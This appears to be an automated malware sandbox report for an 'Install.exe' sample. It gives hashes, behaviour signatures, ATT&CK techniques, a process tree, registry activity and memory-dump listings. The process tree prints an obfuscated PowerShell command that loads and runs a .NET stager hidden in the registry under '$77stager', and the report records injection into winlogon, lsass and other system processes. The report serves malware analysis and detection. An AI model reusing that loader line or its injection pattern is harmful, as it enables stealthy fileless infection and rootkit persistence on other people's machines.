b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

General

Target

Install.exe
Size

163KB
MD5

1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1

2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA256

b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
SHA512

859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP

3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N

Score

10^/10

discovery execution

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 2748 created 432 2748 powershell.EXE winlogon.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.EXE

pid process

2748 powershell.EXE

description	pid	process	target process
PID 2748 created 432	2748	powershell.EXE	winlogon.exe

pid	process
2748	powershell.EXE

Drops file in System32 directory 1 IoCs

Processes:

powershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 2748 set thread context of 2700 2748 powershell.EXE dllhost.exe

description	pid	process	target process
PID 2748 set thread context of 2700	2748	powershell.EXE	dllhost.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Install.execsrss.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	csrss.exe

Enumerates system info in registry 2 TTPs 32 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

csrss.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\MultifunctionAdapter\1\KeyboardController	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2\Identifier	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2\Configuration Data	csrss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral\0	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\Identifier	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1\Configuration Data	csrss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral	csrss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1\Identifier	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\Identifier	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\Component Information	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral\0\Configuration Data	csrss.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	csrss.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController	csrss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\MultifunctionAdapter\0\KeyboardController	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\Configuration Data	csrss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter	csrss.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2	csrss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1	csrss.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\Component Information	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\1\Component Information	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2\Component Information	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral\0\Identifier	csrss.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\Configuration Data	csrss.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral	csrss.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0	csrss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\2	csrss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\KeyboardController\0\KeyboardPeripheral\0\Component Information	csrss.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter	csrss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\MultifunctionAdapter\0\KeyboardController\0	csrss.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.EXEwinlogon.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0e009429fe2da01	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\MuiCached\MachinePreferredUILanguages = 65006e002d00550053000000	winlogon.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.EXEdllhost.exe

pid process

2748 powershell.EXE
2748 powershell.EXE
2700 dllhost.exe
2700 dllhost.exe
2700 dllhost.exe
2700 dllhost.exe
2700 dllhost.exe
2700 dllhost.exe

pid	process
2748	powershell.EXE
2748	powershell.EXE
2700	dllhost.exe
2700	dllhost.exe
2700	dllhost.exe
2700	dllhost.exe
2700	dllhost.exe
2700	dllhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	2748	powershell.EXE
Token: SeDebugPrivilege	2748	powershell.EXE
Token: SeDebugPrivilege	2700	dllhost.exe
Token: SeAuditPrivilege	868	svchost.exe

Suspicious use of WriteProcessMemory 43 IoCs

Processes:

taskeng.exepowershell.EXEdllhost.execsrss.exewinlogon.exe

description	pid	process	target process
PID 1076 wrote to memory of 2748	1076	taskeng.exe	powershell.EXE
PID 1076 wrote to memory of 2748	1076	taskeng.exe	powershell.EXE
PID 1076 wrote to memory of 2748	1076	taskeng.exe	powershell.EXE
PID 2748 wrote to memory of 2700	2748	powershell.EXE	dllhost.exe
PID 2748 wrote to memory of 2700	2748	powershell.EXE	dllhost.exe
PID 2748 wrote to memory of 2700	2748	powershell.EXE	dllhost.exe
PID 2748 wrote to memory of 2700	2748	powershell.EXE	dllhost.exe
PID 2748 wrote to memory of 2700	2748	powershell.EXE	dllhost.exe
PID 2748 wrote to memory of 2700	2748	powershell.EXE	dllhost.exe
PID 2748 wrote to memory of 2700	2748	powershell.EXE	dllhost.exe
PID 2748 wrote to memory of 2700	2748	powershell.EXE	dllhost.exe
PID 2748 wrote to memory of 2700	2748	powershell.EXE	dllhost.exe
PID 2700 wrote to memory of 432	2700	dllhost.exe	winlogon.exe
PID 2700 wrote to memory of 476	2700	dllhost.exe	services.exe
PID 2700 wrote to memory of 492	2700	dllhost.exe	lsass.exe
PID 2700 wrote to memory of 500	2700	dllhost.exe	lsm.exe
PID 2700 wrote to memory of 608	2700	dllhost.exe	svchost.exe
PID 2700 wrote to memory of 692	2700	dllhost.exe	svchost.exe
PID 2700 wrote to memory of 760	2700	dllhost.exe	svchost.exe
PID 2700 wrote to memory of 832	2700	dllhost.exe	svchost.exe
PID 2700 wrote to memory of 868	2700	dllhost.exe	svchost.exe
PID 2700 wrote to memory of 980	2700	dllhost.exe	svchost.exe
PID 2700 wrote to memory of 280	2700	dllhost.exe	svchost.exe
PID 2700 wrote to memory of 968	2700	dllhost.exe	spoolsv.exe
PID 2700 wrote to memory of 1048	2700	dllhost.exe	svchost.exe
PID 2700 wrote to memory of 1264	2700	dllhost.exe	Explorer.EXE
PID 2700 wrote to memory of 2040	2700	dllhost.exe	DllHost.exe
PID 2700 wrote to memory of 1428	2700	dllhost.exe	OSPPSVC.EXE
PID 2700 wrote to memory of 1620	2700	dllhost.exe	wmiprvse.exe
PID 2700 wrote to memory of 2904	2700	dllhost.exe	svchost.exe
PID 2700 wrote to memory of 2356	2700	dllhost.exe	sppsvc.exe
PID 2700 wrote to memory of 1076	2700	dllhost.exe	taskeng.exe
PID 2700 wrote to memory of 1836	2700	dllhost.exe	Dwm.exe
PID 828 wrote to memory of 2600	828	csrss.exe	LogonUI.exe
PID 828 wrote to memory of 2600	828	csrss.exe	LogonUI.exe
PID 568 wrote to memory of 2600	568	winlogon.exe	LogonUI.exe
PID 568 wrote to memory of 2600	568	winlogon.exe	LogonUI.exe
PID 568 wrote to memory of 2600	568	winlogon.exe	LogonUI.exe
PID 828 wrote to memory of 2600	828	csrss.exe	LogonUI.exe
PID 828 wrote to memory of 2600	828	csrss.exe	LogonUI.exe
PID 828 wrote to memory of 2600	828	csrss.exe	LogonUI.exe
PID 828 wrote to memory of 2600	828	csrss.exe	LogonUI.exe
PID 828 wrote to memory of 2600	828	csrss.exe	LogonUI.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{2f55b560-5789-4073-830c-63c2a99dd278}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2700

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
2⤵
PID:608

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
3⤵
PID:2040

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe
3⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS
2⤵
PID:692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
2⤵
PID:760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
2⤵
PID:832

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
3⤵
PID:1836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:868

C:\Windows\system32\taskeng.exe
taskeng.exe {29511BDE-6C92-4450-9748-6A526D3A5526} S-1-5-18:NT AUTHORITY\System:Service:
3⤵
- Suspicious use of WriteProcessMemory
PID:1076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue('$77stag'+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService
2⤵
PID:980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService
2⤵
PID:280

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
2⤵
PID:968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
2⤵
PID:1048

C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
2⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
2⤵
PID:2904

C:\Windows\system32\sppsvc.exe
C:\Windows\system32\sppsvc.exe
2⤵
PID:2356

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1264

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
2⤵
- System Location Discovery: System Language Discovery
PID:2368

C:\Windows\system32\csrss.exe
%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:568

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
2⤵
PID:2600

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/432-30-0x00000000004A0000-0x00000000004CB000-memory.dmp

Filesize
172KB

Download
memory/432-31-0x00000000004A0000-0x00000000004CB000-memory.dmp

Filesize
172KB

Download
memory/432-39-0x00000000004A0000-0x00000000004CB000-memory.dmp

Filesize
172KB

Download
memory/432-40-0x000007FEBDAC0000-0x000007FEBDAD0000-memory.dmp

Filesize
64KB

Download
memory/432-41-0x0000000037490000-0x00000000374A0000-memory.dmp

Filesize
64KB

Download
memory/432-43-0x00000000004A0000-0x00000000004CB000-memory.dmp

Filesize
172KB

Download
memory/432-28-0x0000000000470000-0x0000000000495000-memory.dmp

Filesize
148KB

Download
memory/432-29-0x0000000000470000-0x0000000000495000-memory.dmp

Filesize
148KB

Download
memory/476-47-0x0000000000240000-0x000000000026B000-memory.dmp

Filesize
172KB

Download
memory/476-57-0x0000000037490000-0x00000000374A0000-memory.dmp

Filesize
64KB

Download
memory/476-56-0x000007FEBDAC0000-0x000007FEBDAD0000-memory.dmp

Filesize
64KB

Download
memory/476-59-0x00000000774A1000-0x00000000774A2000-memory.dmp

Filesize
4KB

Download
memory/476-55-0x0000000000240000-0x000000000026B000-memory.dmp

Filesize
172KB

Download
memory/492-185-0x00000000008E0000-0x0000000000905000-memory.dmp

Filesize
148KB

Download
memory/492-64-0x0000000000910000-0x000000000093B000-memory.dmp

Filesize
172KB

Download
memory/492-72-0x0000000000910000-0x000000000093B000-memory.dmp

Filesize
172KB

Download
memory/492-73-0x000007FEBDAC0000-0x000007FEBDAD0000-memory.dmp

Filesize
64KB

Download
memory/492-74-0x0000000037490000-0x00000000374A0000-memory.dmp

Filesize
64KB

Download
memory/492-91-0x00000000008E0000-0x0000000000905000-memory.dmp

Filesize
148KB

Download
memory/608-186-0x00000000003F0000-0x0000000000415000-memory.dmp

Filesize
148KB

Download
memory/608-110-0x00000000003F0000-0x0000000000415000-memory.dmp

Filesize
148KB

Download
memory/2700-17-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2700-26-0x0000000077450000-0x00000000775F9000-memory.dmp

Filesize
1.7MB

Download
memory/2700-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2700-22-0x0000000077451000-0x0000000077552000-memory.dmp

Filesize
1.0MB

Download
memory/2700-21-0x0000000077330000-0x000000007744F000-memory.dmp

Filesize
1.1MB

Download
memory/2700-20-0x0000000077450000-0x00000000775F9000-memory.dmp

Filesize
1.7MB

Download
memory/2700-13-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2700-14-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2700-15-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2700-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2700-184-0x0000000077450000-0x00000000775F9000-memory.dmp

Filesize
1.7MB

Download
memory/2748-8-0x0000000019EE0000-0x0000000019F0A000-memory.dmp

Filesize
168KB

Download
memory/2748-0-0x000007FEF5F9E000-0x000007FEF5F9F000-memory.dmp

Filesize
4KB

Download
memory/2748-4-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-3-0x0000000000A00000-0x0000000000A08000-memory.dmp

Filesize
32KB

Download
memory/2748-2-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-1-0x0000000019FA0000-0x000000001A282000-memory.dmp

Filesize
2.9MB

Download
memory/2748-5-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-27-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-6-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-7-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-9-0x0000000077450000-0x00000000775F9000-memory.dmp

Filesize
1.7MB

Download
memory/2748-12-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-11-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/2748-10-0x0000000077330000-0x000000007744F000-memory.dmp

Filesize
1.1MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads